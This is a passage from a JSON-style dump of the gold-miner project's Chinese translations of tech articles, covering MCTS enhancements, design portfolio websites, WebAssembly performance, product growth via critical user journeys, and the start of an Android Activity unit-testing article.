算法，在最基本的形式下，即使针对中等复杂度的博弈也有可能在一定时间内不能够给出很好的决策。这很可能是由于决策空间的绝对大小和关键树节点在没有被访问足够多的次数的情况下不能够给出可靠的估值的原因。\n\n幸运的是，算法的表现可以通过一些技巧来提升。\n\n---\n\n# 提升方法\n\n这里有两种方法可能有益于提升 MCTS 的实现：一个是对于特定领域，另一个对于所有的领域。\n\n### 特定的领域（知识）\n\n对于特定博弈的领域知识通常会在进行模拟的阶段被开发出来，这样得到的推出或决策（playout）会与人类的选手的动作更加相似。这意味着推出的结果会变的比随机模拟更加的真实并且节点会在更少的迭代后产生真实可靠的估值。\n\n特定的领域知识提升方法往往需要知道当前博弈已知的一些技巧，如围棋中的捕捉动作或者六贯棋中的桥指令。它们对当前博弈有巨大的提升效果，不过同时也牺牲了通用性。\n\n### 领域独立（提升方法）\n\n领域独立提升方法有着很大的应用范围，是 MCTS 算法研究中的圣杯，也是当今很多研究所瞄准的方向。许多这样的提升被提出并与不同层面的成功相吻合，从简单（博弈并获胜的移动/避免在推出中可能失败的移动）到复杂的节点初始化和选择方法，还有元策略。\n可以通过浏览[提升列表](http://www.cameronius.com/research/mcts/enhancements/index.html)来查看 MCTS 更多提升的细节  \n\n---\n\n## 成立的研究课题\nMCTS 仍是研究领域中的新的部分，有许多正在进行的研究课题。\n\n### 算法提升\n\n几乎所有针对基本算法做出的提升建议都需要更多的研究。可以参考该[提升列表](http://www.cameronius.com/research/mcts/enhancements/index.html)\n\n### 自动化调参\n\n最简单的一个问题是，如何动态地调整搜索参数，如 UCB 中的偏置参数，来最大化算法效果，并且是否其他方面的搜索算法也能类似地被参数化呢。\n\n### 节点扩展\n\n有些应用适合于每次迭代扩展一个节点，而有些则适合多个。至今尚未有清晰的指导来告诉我们哪些情况下应该使用哪个策略，并且是否可以被自动化。\n\n### 节点可靠性\n\n若能基于情景和节点在搜索树中的相对位置，知道一个节点要被访问了多少次之后才会变得可靠，会非常有用处。\n\n### 树形状分析\n\n我们在这一方面已经针对 UCT 树会不会根据所给博弈的特定而产生另一些特征，进行了初步的研究(Williams 2010)。有着不错的结果。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-is-the-real-role-of-a-design-portfolio-website.md",
    "content": "\n> * 原文地址：[What is the real role of a design portfolio website?](https://uxdesign.cc/what-is-the-real-role-of-a-design-portfolio-website-ee0b5b76112b)\n> * 原文作者：[Fabricio Teixeira](https://uxdesign.cc/@fabriciot)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-is-the-real-role-of-a-design-portfolio-website.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-is-the-real-role-of-a-design-portfolio-website.md)\n> * 译者：[noturnot](https://github.com/noturnot)\n> * 校对者：[LeviDing](https://github.com/LeviDing)\n\n# 设计作品集网站的真正角色是什么？\n\n## 或“在了解其目的之前，不要评价其作品集”。\n\n设计作品集应该是简洁易懂的并且专注于作品，还是应该成为展现设计师能力和想法的一件艺术品？这是一个二元问题吗？\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*MFLfVMusiJYm7IvFPUMAAg.jpeg)\n\n不久之前，我在浏览自己订阅的信息时，看到了下面的讨论：\n\n![](https://cdn-images-1.medium.com/max/1600/1*chMYyQsyqEdKcmXmLUwShw.png)\n\n如果你对上述讨论分享的作品集不够熟悉，这里有一个可以给你更多情境的截屏视频，以及一个可以进行测试的[链接](http://narrowdesign.com/)：\n![](https://cdn-images-1.medium.com/max/1600/1*a9FAjhl5jl5WFc0orJXQuw.gif)\n\n你最近有看过这份作品集吗？\n> 你或许已经猜到我接下来要说的：关于**可用性与创造性**、**形式与功能**、**性能与美观**、**对比性与易读性**、**共和主义者与民主主义者**、**我与你**的漫长而热烈的讨论。\n\n但是这才是大多数在线讨论中所发生的：人们很快变得两极分化，并且陷入他们所认为的正确或错误的二元方式中。不要误解：**我无意批判讨论的参与者**。事实是像上述这样短小的在线讨论，只有在理解设计决策的所有复杂性之后才能深入。\n\n在阅读所有评论的过程中，我的眼睛开始变得昏沉。我无法避免后退一步并且问自己：“**嘿，首先设计作品集的真正角色是什么？**”。除非参与讨论的人们认识到作品集的目的是什么，他们不会从中获得有成效的结论。\n\n所以接下来让我们做一件我最享受的事情之一吧：将问题分解成小部分，直到其变得更容易解决或回答。\n\n![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 问题1：设计作品集的角色是什么？\n\n第一步是尽可能多地理解定义作品集角色的各种角度：\n\n- **它是用来展示设计师所完成的最终项目吗？** 如果在这种情况下，作品集本身的设计应该是尽可能简单的，专注于内容而非形式。期望精心制作大型、全流失图像，以创造视觉冲击力。这是像 cargocollective，behance 和 squarespace 这样的平台所关注的。\n\n- **它是用来展现设计师的思考过程吗？** 在这种情况下，会期望包含更多文字、幕后可交付成果以及大段解释的项目页面。\n\n- **它本身是否是一件用来展现设计师想法的艺术品？** 在这种情况下，作品集本身就是设计师用来展现其设计技巧和想法的方式，而且没有客户赞助项目常有的约束。它用最纯正的方式，向世界展示了他们关于优质设计的想法。在上面提到的例子中，[narrowdesign.com](http://narrowdesign.com)， 其作品集主页正在展现设计师关于设计理论的知识（黄金比例原则），他们对动效设计和动画的精心制作，他们对调色盘的良好品味 —— 以及更多。\n\n以上选择并不是相互排斥的。虽然有些人会说“上述所有”，但有一个清晰的关注点会帮助你的作品集更有效地达到目标。但是你必须再问自己另一个问题，为了真正理解你的作品集应该关注三个领域中的哪一个。\n\n![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 问题2：设计师的目的是什么？\n\n- **是为了记录过去的工作吗？** 这些人更新他们的作品集仅仅因为他们不想失去对过往项目的记录。并没有什么不可告人的目的：他们仅仅在建立一个过往作品的仓库以便可以在未来很容易找到。一份回忆录。\n\n- **是用来寻找一份新工作吗？** 设计师是否在积极地寻找一份新工作？如果是这种情况，他们寻找的是哪种类型的公司？设计工作室？代理机构？商业咨询处？客户端？以产品为中心？招聘人员和管理人员会找寻什么类型的项目？\n\n- **是被看作某个特定领域的专家吗？** 有些人重新设计其作品集网站作为与以往略微不同来专业地定位自身的方式。正如那句俗语所讲：“将你希望做的作品放进你的作品集中，而非你希望别人看到的作品”。这或许适用于某些设计师的情况，取决于他们职业生涯的位置。\n\n简单吧？\n\n并不是。在评价作品集时，还有另一个层次需要被考虑……\n\n![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 问题3：设计师希望如何被世界看到？\n\n这个问题是关于设计中的重点领域的定义，以及理解设计师希望被浏览他们作品集的同行和未来雇主如何看待。尽管展现你操纵多种设计专长的能力很重要，思考作为一位设计师的价值主张可以保证优先级在正确的位置。\n\n> 你希望人们离开你的作品集网站时的收获是什么？\n\n> “哇，这个人是个真正 ______ 的 ______！”\n\n一些例子：\n\n- 哇，这个人是个真正**懂数码**的**平面设计师**。\n- 哇，这个人是个真正**重视动效**的**界面设计师**。\n- 哇，这个人是个**很懂设计和用户体验**的**前端工程师**。\n- 哇，这个人是个有**多年名片设计经验**的**印刷设计师**。\n- 哇，这个人是个专长**广告活动**的**创意导演**。\n\n考虑这个 **[规律]** + **[专业化]** 的概念是使你的作品集不再普通，以及带给访问者明确收获的方法 —— 一个一旦离开你的网站后，可以指向你的简单方法。\n\n尽管简单表达你是谁并不是那么简单。\n\n我认识的一些设计师可以清晰地表达他们是谁以及他们希望如何被看到，但是有一些设计师需要一些帮助……\n\n![](https://cdn-images-1.medium.com/max/1600/1*qFjeug_95wT-hQtmZj69HQ.jpeg)\n\n[纽约时报](https://well.blogs.nytimes.com/2013/03/25/looking-for-evidence-that-therapy-works/)\n\n![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n一旦上述问题被解答，你就可以开始设想作品集的样子，什么内容应该被展示，以及优先级应该是什么。\n\n然后，只有那时候，你才能判断一个人的作品集是否能够完成其目的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/what-makes-webassembly-fast.md",
    "content": "> * 原文地址：[What makes WebAssembly fast?](https://hacks.mozilla.org/2017/02/what-makes-webassembly-fast/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[胡子大哈](https://github.com/huzidaha/)\n> * 校对者：[Tina92](https://github.com/Tina92)、[根号三](https://github.com/sqrthree)\n\n# 是什么让 WebAssembly 执行的这么快？\n\n**本文是关于 WebAssembly 系列的第五篇文章。如果你没有读先前文章的话，建议[从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。**\n\n[上一篇文章中](https://github.com/xitu/gold-miner/blob/master/TODO/creating-and-working-with-webassembly-modules.md)，我介绍了编写程序时不用在 WebAssembly 和 javascript 里二者选其一啦，也表达了我希望看到更多的开发者在自己的工程中同时使用 WebAssembly 和 JavaScript 的期许。\n\n开发者们不必纠结于在自己的应用中到底选择 WebAssembly 还是 JavaScript。但是我们确实希望开发者们，希望能把部分 JavaScript 替换成 WebAssembly 来尝试使用\n\n例如，正在开发 React 程序的团队可以把调节器代码（即虚拟 DOM）替换成 WebAssembly 的版本。而对于你的 web 应用的用户来说，他们就跟以前一样使用，不会发生任何变化，同时他们还能享受到 WebAssembly 所带来的好处。\n\n而像 React 团队这样的开发者选择替换为 WebAssembly 的原因正是因为 WebAssembly 比较快。那么为什么它执行的快呢？\n\n## 当前的 JavaScript 性能如何？\n在我们了解 JavaScript 和 WebAssembly 的性能区别之前，需要先理解 JS 引擎的工作原理。\n\n该图给出了现在一个应用程序的启动性的大致情况。\n\n> **JS 引擎在图中各个部分所花的时间取决于页面所用的 JavaScript 代码。图表中的比例并不代表真实情况下的确切比例情况。相反，它意味着提供一个高级模型，来说明在 JS 和 WebAssembly 中相同功能的性能如何不同。\n**\n\n![](https://huzidaha.github.io/images-store/201703/20-1.png)\n\n图中的每一个颜色条都代表了不同的任务：\n\n* Parsing —— 表示把源代码变成解释器可以运行的代码所花的时间；\n* Compiling + optimizing —— 表示基线编译器和优化编译器花的时间。一些优化编译器的工作并不在主线程运行，所以也不包含在这里。\n* Re-optimizing —— 当 JIT 发现优化假设错误，丢弃优化代码所花的时间。包括重优化的时间、抛弃并返回到基线编译器的时间。\n* Execution —— 执行代码的时间\n* Garbage collection —— 清理内存的时间\n\n这里注意：这些任务并不是离散执行的，或者按固定顺序依次执行的。而是交叉执行，比如正在进行解析过程时，其他一些代码正在运行，而另一些正在编译。\n\n这样的交叉执行给早期 JavaScript 带来了很大的效率提升，早期的 JavaScript 执行类似于下图：\n\n![](https://huzidaha.github.io/images-store/201703/20-2.png)\n\n早期时，JavaScript 只有解释器，执行起来非常慢。当引入了 JIT 后，大大提升了执行效率，缩短了执行时间。\n\nJIT 所付出的开销是对代码的监视和编译时间。如果 JavaScript 开发者依旧像以前那样开发 JavaScript 程序，解析和编译的时间也大大缩短。这就使得开发者们更加倾向于开发更复杂的 JavaScript 应用。\n\n同时，这也说明了执行效率上还有很大的提升空间。\n\n## WebAssembly 对比\n下图是 WebAssembly 和典型的 web 应用的对比的初略估计\n\n![](https://huzidaha.github.io/images-store/201703/20-3.png)\n\n各种浏览器处理上图中不同的过程，有着细微的差别，我用 SpiderMonkey 作为模型来讲解不同的阶段：\n\n### 文件获取\n这一步并没有显示在图表中，但是这看似简单地从服务器获取文件这个步骤，却会花费很长时间。\n\nWebAssembly 比 JavaScript 的压缩率更高，所以文件获取也更快。即便通过压缩算法可以显著地减小 JavaScript 的包大小，但是压缩后的 WebAssembly 的二进制代码依然更小。\n\n这就是说在服务器和客户端之间传输文件更快，尤其在网络不好的情况下。\n\n### 解析\n一旦到达浏览器，JavaScript 源代码就被解析成了抽象语法树。\n\n浏览器采用懒加载的方式进行，一开始只解析真正需要的部分，而对于浏览器暂时不需要的函数只保留它的桩。\n\n解析过后 AST （抽象语法树）就变成了中间代码（叫做字节码），提供给 JS 引擎编译。\n\n而 WebAssembly 则不需要这种转换，因为它本身就是中间代码。它要做的只是解码并且检查确认代码没有错误就可以了。\n\n![](https://huzidaha.github.io/images-store/201703/20-4.png)\n\n### 编译和优化\n上一篇[关于 JIT 的文章](https://zhuanlan.zhihu.com/p/25669120)中，我有介绍过，JavaScript 是在代码的执行阶段编译的。因为它是弱类型语言，当变量类型发生变化时，同样的代码会被编译成不同版本。\n\n不同浏览器处理 WebAssembly 的编译过程也不同，有些浏览器只对 WebAssembly 做基线编译，而另一些浏览器用 JIT 来编译。\n\n不论哪种方式，WebAssembly 都更贴近机器码。例如：类型是程序的一部分。使它更快的原因有以下几个：\n\n1. 在编译优化代码之前，它不需要提前运行代码以知道变量都是什么类型。\n2. 编译器不需要对同样的代码做不同版本的编译。\n3. 很多优化在 LLVM 阶段就已经做完了，所以在编译和优化的时候没有太多的优化需要做。\n\n![](https://huzidaha.github.io/images-store/201703/20-5.png)\n\n### 重优化\n有些情况下，JIT 不得不抛弃已有的优化，重新去尝试执行。\n\n当 JIT 在优化假设阶段做的假设，执行阶段发现是不正确的时候，就会发生这种情况。比如当循环中发现本次循环所使用的变量类型和上次循环的类型不一样，或者原型链中插入了新的函数，都会使 JIT 抛弃已优化的代码。\n\n反优化过程有两部分开销。第一，需要花时间丢掉已优化的代码并且回到基线版本。第二，如果函数依旧频繁被调用，JIT 可能会再次把它发送到优化编译器，又做一次优化编译，因此存在第二次编译它的代价。\n\n在 WebAssembly 中，类型都是确定了的，所以 JIT 不需要根据变量的类型做优化假设。也就是说 WebAssembly 没有重优化阶段。\n\n![](https://huzidaha.github.io/images-store/201703/20-6.png)\n\n### 执行\n自己也可以写出执行效率很高的 JavaScript 代码。你需要了解 JIT 的优化机制，例如你要知道什么样的代码编译器会对其进行特殊处理（[JIT 文章](https://zhuanlan.zhihu.com/p/25669120)里面有提到过）。\n\n然而大多数的开发者是不知道 JIT 内部的实现机制的。即使开发者知道 JIT 的内部机制，也很难写出符合 JIT 标准的代码，因为人们通常为了代码可读性更好而使用的编码模式（例如将常见任务抽象为跨类型工作的函数），恰恰不合适编译器对代码的优化。\n\n加之 JIT 会针对不同的浏览器做不同的优化，所以对于一个浏览器优化的比较好，很可能在另外一个浏览器上执行效率就比较差。\n\n正是因为这样，执行 WebAssembly 通常会比较快，很多 JIT 为 JavaScript 所做的优化（例如类型专门化）在 WebAssembly 并不需要。\n\n另外，WebAssembly 就是为了编译器而设计的，这意味着它被设计用于编译器生成，而不是为了人类程序员编写它。\n\n由于人类程序员不需要直接编程它，这样就使得 WebAssembly 专注于提供更加理想的指令（执行效率更高的指令）给机器就好了。执行效率方面，不同的代码功能有不同的效果，一般来讲执行效率会提高 10% - 800%。\n\n![](https://huzidaha.github.io/images-store/201703/20-7.png)\n\n### 垃圾回收\nJavaScript 中，开发者不需要手动清理内存中不用的变量。JS 引擎会自动地做这件事情，这个过程叫做垃圾回收。\n\n可是，当你想要实现性能可控，垃圾回收可能就是个问题了。垃圾回收器会自动开始，这是不受你控制的，所以很有可能它会在一个不合适的时机启动。目前的大多数浏览器已经能给垃圾回收安排一个合理的启动时间，不过这还是会增加代码执行的开销。\n\n目前为止，WebAssembly 不支持垃圾回收。内存操作都是手动控制的（像 C、C++ 一样）。这对于开发者来讲确实增加了些开发成本，不过这也使代码的执行效率更高。\n\n![](https://huzidaha.github.io/images-store/201703/20-8.png)\n\n## 总结\nWebAssembly 比 JavaScript 执行更快是因为：\n\n* 文件抓取阶段，WebAssembly 比 JavaScript 抓取文件更快。即使 JavaScript 进行了压缩，WebAssembly 文件的体积也比 JavaScript 更小；\n* 解析阶段，WebAssembly 的解码时间比 JavaScript 的解析时间更短；\n* 编译和优化阶段，WebAssembly 更具优势，因为 WebAssembly 的代码更接近机器码，并且它在服务器已经优化结束了。。\n* 重优化阶段，WebAssembly 不会发生重优化现象。因为 WebAssembly 中类型和其他信息已经确定了，所以 JS 引擎不需要按照 javascript 的方式去优化。\n* 执行阶段，WebAssembly 更快是因为开发人员不需要懂太多的编译器技巧，而这在 JavaScript 中是需要的。WebAssembly 代码也更适合生成机器执行效率更高的指令。\n* 垃圾回收阶段，WebAssembly 垃圾回收都是手动控制的，效率比自动回收更高。\n\n这就是为什么在大多数情况下，同一个任务 WebAssembly 比 JavaScript 表现更好的原因。\n\n但是，还有一些情况 WebAssembly 表现的会不如预期；同时 WebAssembly 的未来也会朝着使 WebAssembly 执行效率更高的方向发展。这些我会在下一篇文章[《WebAssembly 的现在与未来》](https://github.com/xitu/gold-miner/blob/master/TODO/where-is-webassembly-now-and-whats-next.md)中介绍。\n\n欢迎大家关注我的专栏[前端大哈](https://zhuanlan.zhihu.com/qianduandaha)，定期发布高质量前端文章。\n"
  },
  {
    "path": "TODO/what-to-do-if-your-product-isnt-growing.md",
    "content": "\n> * 原文地址：[What To Do If Your Product Isn’t Growing](https://medium.com/initialized-capital/what-to-do-if-your-product-isnt-growing-7eb9d158fc)\n> * 原文作者：[austin chang](https://medium.com/@theaustinchang)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-to-do-if-your-product-isnt-growing.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-to-do-if-your-product-isnt-growing.md)\n> * 译者：[Funtrip](https://dribbble.com/funtrip)\n> * 校对者：[LeviDing](https://github.com/leviding)、[laiyun90](https://github.com/laiyun90)、\n\n# 如果你的产品停止成长，你该怎么做？\n\n## 「关键用户轨迹」可以怎样帮助产品起步\n\n作为 [Pinterest 的创始人和产品主管，Google 几款产品的产品经理](https://www.linkedin.com/in/austinnchang), 同时也是 [Initialized Capital](http://initialized.com/) 的发展伙伴, 我看过了太多希望努力成长起来的产品团队。\n\n许多产品都以爆炸式的方式出现在人们视野中。它们有一些随着产品市场而持续增长。有一些则在井喷式的高速增长后死掉了。但我看到更多的时候是，许多产品都在失败的边缘徘徊。\n\n在这些相似的经历中，我注意到有一个很常见的「套路」，那就是几乎每一个创始人在开始一段产品的道路时都会使自己完全深陷其中。当创始人推出了一个产品，他们非常想知道自己的产品没有疯狂增长的原因，然后迫切地立即去解决它们的增长问题。\n\n在他们还没有真正明白自己在做什么，以及他们的目标用户是谁之前，他们通常会转为调整自己的增长策略，比如说他们的登录机制优化、搜索引擎优化或者推送通知优化。这可能会带来一个短期的爆发。但这最终可能会因为忽视了产品的核心问题，而导致潜在用户大量流失。\n\n在尝试不同的增长策略之前，创业公司需要重新审视他们的用户，评估一下他们的产品所要达到的目标，并重新明确他们想要让用户达到什么样的体验。这里有一些提示，来告诉你在不同的步骤应该做些什么来解锁产品不同的成长阶段。\n\n#### 绘制你的「关键用户轨迹」\n\n许多创业公司在不知道如何引导的情况下开发他们的产品。如果你搜索「[ 关键用户轨迹 ](https://www.google.com/search?q=critical+user+journeys&amp;oq=critical+user+journeys&amp;aqs=chrome..69i57.3639j0j7&amp;sourceid=chrome&amp;ie=UTF-8) （译者注：原文为 Critical User Journey）」这个词语，会发现许多的用户体验框架图和用户地图。这些东西很棒，但他们也很可能带来很大的压力，让人感到畏惧。\n\n> 初创公司应该从最简单的做起，确保他们的目标是让产品配合用户实现最佳的流程体验。\n\n你的关键用户轨迹应该着重于一个有特定目标的单一用例，并且应该包括用户的上下文环境。打个比方，Pinterest 重点之一是帮助用户找到符合他们个人风格的创意。一开始，Pinterest 的用户通常会浏览大量不同风格的创意，然后逐渐找到与他们自己的风格相符合的款式。\n\n然后 Pinterest 会让用户整理他们自己的型录、样板，并最终无缝地购买这些他们喜欢的款式——不管是直接在 Pinterest 上购买，还是通过与商家的深度合作链接来购买。让人很愉悦的是，这整个流程都是直接在 Pinterest 上完成的。如今，Pinterest 已经成长为了一家大公司，而且实现了许多不同的用户体验轨迹。\n\n![](https://cdn-images-1.medium.com/max/800/1*cRz9ZjiN1xKRYYiw2Z4MmA.png)\n\nPinterest 会在每一步引导用户探索个人风格、过滤、整理和扩充\n创业者们需要清晰地了解他们正在实现的「关键用户轨迹」。此外他们应该知道如何让他们的产品帮助用户们达成流程中的每一步。\n\n#### 衡量你的「关键用户轨迹」\n\n一旦创业者有了一个用户轨迹，他们就需要客观并仔细地去衡量它。所有成功的创业公司都有大量营收指标（或 [KPIs](https://en.wikipedia.org/wiki/Performance_indicator)）的衡量标准，当然也有很多[工具](https://www.quora.com/What-dashboard-software-is-useful-to-track-critical-metrics-for-Startups) 可以让轨迹实现可视化。但对于刚刚起步的创业公司来说，他们很满足于像 MAU （Monthly Active Users，每月活跃用户）或总体测量指标这样虚荣的指标，这些指标让你觉得产品正在增长并忽略了实际发生的情况。\n\n![](https://cdn-images-1.medium.com/max/800/1*dZWyFdbMKjeNUwlp3Wwq0Q.png)\n\nsource: [https://blog.kissmetrics.com/throw-away-vanity-metrics/](https://blog.kissmetrics.com/throw-away-vanity-metrics/)\n相反的，早期初创公司应该从可操作的营收指标来衡量这段历程的每一步。你可以从两个指标开始：一个是顶级用户获取指标，用来衡量有多少新用户并且开始了他们的第一次操作。另一个是用户参与度下降的指标，用来衡量新用户与产品互动的频率。总而言之，这两个指标定义了产品如何将新用户逐渐转化为活跃用户的转化率。有了这些指标之后，你可以添加一些符合你产品特点的和用户轨迹的营销指标。\n\n> 对于产品的用户轨迹来说，越具体的营销指标越能帮助初创公司做出更好的决策。\n\n以 Google Assistant 举例来说，我们基于用户当天在某一个特定设备（例如 Pixel 手机）、某一个特定国家（比如英国）、使用某一特定功能（例如询问「我的一天」）至少成功完成一次操作的指标来衡量活跃用户。而不是使用它们头两周的数据。\n\n#### 定义「产品杠杆」会帮助用户遵循他们的轨迹\n\n许多初创者选择了营销指标，但却无法在项目和工作流中，以可衡量的、系统化的方式来直接让用户遵循轨迹来移动。只有当你知道如何正确使用产品杠杆来让他们遵循轨迹移动，你拥有的这些数据才是有用的。\n\n> 产品杠杆是一个你应该关心的，基于营销指标来工作，可移动和可测量，并与你的团队项目相关联的东西。\n举个例子。我与原始资本的投资公司之一进行了密切的合作，选择了「最近 7 天参与度（L7 Engagement）」这个营销指标（或者被称为过去 7 天里，用户在产品上的活跃天数）。他们选择了主要产品杠杆来驱动「每个用户都采取额外的活跃行为」以满足这个指标。他们缩小了他们正在开发的项目数量，只致力于让每个用户都产生更多的活跃行为（比如显示更多的内嵌帮助、发送产品促销信息、发送相关的后续通知，等等），并砍掉那些没有帮助的项目。在经历了几个试验周期后，他们看到他们的最近7天参与度出现了变化，然后他们将注意力被转移到更多的产品杠杆上以推动最近 7 天参与度的提升。\n\n#### 不要添加过多的功能，那会让「关键用户轨迹」变得模糊\n\n几乎所有创业者都会遇到的一个常见的陷阱是，通过在产品添加更多的功能来「解决」增长问题，「看看会不会变得很棒」。通过增加产品数量来扩大增长是很难衡量，并且很难扩展的。\n\n举例说，我曾经与一个创投公司进行过合作，他们有一个很好的产品可以满足用户的需求。他们正在驱动一个很有意义的指标，但他们发现月增长停滞了。仔细观察之后，我发现他们在不同产品上彼此构建了许多复杂的引导流程。他们发布的每一个引导流程都显示了略微的整体收益，因此他们继续在彼此之间添加更多的引导流程。很快，他们无法判断是哪一个引导流程直接导致了用户流失。他们的产品变成了一个 [Rube Goldberg machine](https://en.wikipedia.org/wiki/Rube_Goldberg_machine) ，用户一个一个的流失。（译者注：Rube Goldberg machine，即鲁布·戈德堡机械，是一种被设计得过度复杂的机械组合，以迂回曲折的方法去完成一些其实是非常简单的工作，例如倒一杯茶，或打一颗蛋等等）\n![](https://cdn-images-1.medium.com/max/800/1*MErO6AqctCgPH-QhcuicAg.jpeg)\n\n鲁布·戈德堡机械——完成简单工作的复杂机械\n一旦我们将产品简化为一个活跃的流程，每个流程都直接关联一个特定的产品杠杆，那它们的转化率就会上升。这主要是因为他们的产品变得更简单了。当用户遇到困难时用户可以更轻易地理解错误，而公司也可以更容易地发现错误。\n\n> 退后一步，简化并专注于产品的增长。\n\n#### 让你最活跃的用户为你指引道路\n\n这看起来是再明显不过的了，但确实很多时候你的用户为你做了最关键的工作。初创公司应该关注他们最活跃的用户，并深刻理解他们的行为和用户轨迹。\n试着找一群你最活跃的用户，并继续观察他们。看看他们在第一天、第一个月、以及随后的时间段内采取了哪些行动来达到他们的目的。你可以把这些行动看作是你想让新用户或临时用户在流程的每一步中所进行的关键时刻。例如，如果很多用户在第一周就进行了四次某种行为，那就试着让用户在第二周里投入更多。而下次在第一周时，就让新用户优先考虑这些行为。\n根据这些行为创建一个参与度的循环流程，以鼓励用户在完成他们的操作之后，继续沿着这个流程走下去。当然，你可以测量并监控每一个步骤中有多少用户采取这些行为，以查看你产品的整体参与度状况。\n\n> 如果你知道你最活跃的用户采取了哪些行动和步骤，你应该把这些步骤复制到其他人身上。\n\n为你的产品定义一个「关键用户轨迹」是一个开始，它将作为定义指标的早期指南，可以明确用户在每一步需要做些什么，并帮助确定正确的产品杠杆以创造可持续。\n\n如果你准备好了，这个框架可以扩展到其他的几个用户轨迹，既可以深化现有用户的参与，也可以扩展用例以接触到新的用户群。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2.md",
    "content": "* 原文地址：[What Unit Tests are Trying to Tell us About Activities Pt 2](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/)\n* 原文作者：[Matt Dupree](https://twitter.com/philosohacker)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[tanglie1993](https://github.com/tanglie1993)\n* 校对者：[yunshuipiao](https://github.com/yunshuipiao), [zhaochuanxing](https://github.com/zhaochuanxing)\n\n# 单元测试试图告诉我们关于 Activity 的什么事情：第二部分 #\n\n`Activity` 和?`Fragment`，可能是因为一些[奇怪的历史巧合](https://juejin.im/entry/58ac5b3b570c35006bc9e52c)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法称为“android-centric”架构。\n\n本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。它们同时也试图通过单元测试告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。\n\n在本[系列文章](https://juejin.im/entry/58bc1d51128fe1006447531e)的第二部分，对 Google I/O 示例 app 会话详情页的单元测试表明，将 `Activity` 和 `Fragment` 当作组件，会使代码难以测试。测试失败同时也揭示，目标类是低内聚的。\n\n### The Google I/O 会话细节例子 ###\n\n当我在开发一个项目时，我尝试从[最让我害怕的代码](https://www.philosophicalhacker.com/post/what-should-we-unit-test/)开始测试。大型类让我害怕。Google I/O 应用的最大的类是 `SessionDetailFragment`。长的方法也让我害怕，而这个大型类中最长的方法是 `displaySessionData`。这是这个巨大的类显示的内容的截图:\n\n![](https://www.philosophicalhacker.com/images/session-detail.png)\n\n这是吓人的 `displaySessionData` 方法。这不是人们通常可以**容易**地理解的东西；这正是它可怕的原因。在继续之前，用惊恐的目光看它一眼，并恐惧地颤抖一下：\n\n```\nprivate void displaySessionData(final SessionDetailModel data) {\n  mTitle.setText(data.getSessionTitle());\n  mSubtitle.setText(data.getSessionSubtitle());\n  try {\n    AppIndex.AppIndexApi.start(mClient, getActionForTitle(data.getSessionTitle()));\n  } catch (Throwable e) {\n    // Nothing to do if indexing fails.\n  }\n\n  if (data.shouldShowHeaderImage()) {\n    mImageLoader.loadImage(data.getPhotoUrl(), mPhotoView);\n  } else {\n    mPhotoViewContainer.setVisibility(View.GONE);\n    ViewCompat.setFitsSystemWindows(mAppBar, false);\n    // This is hacky but the 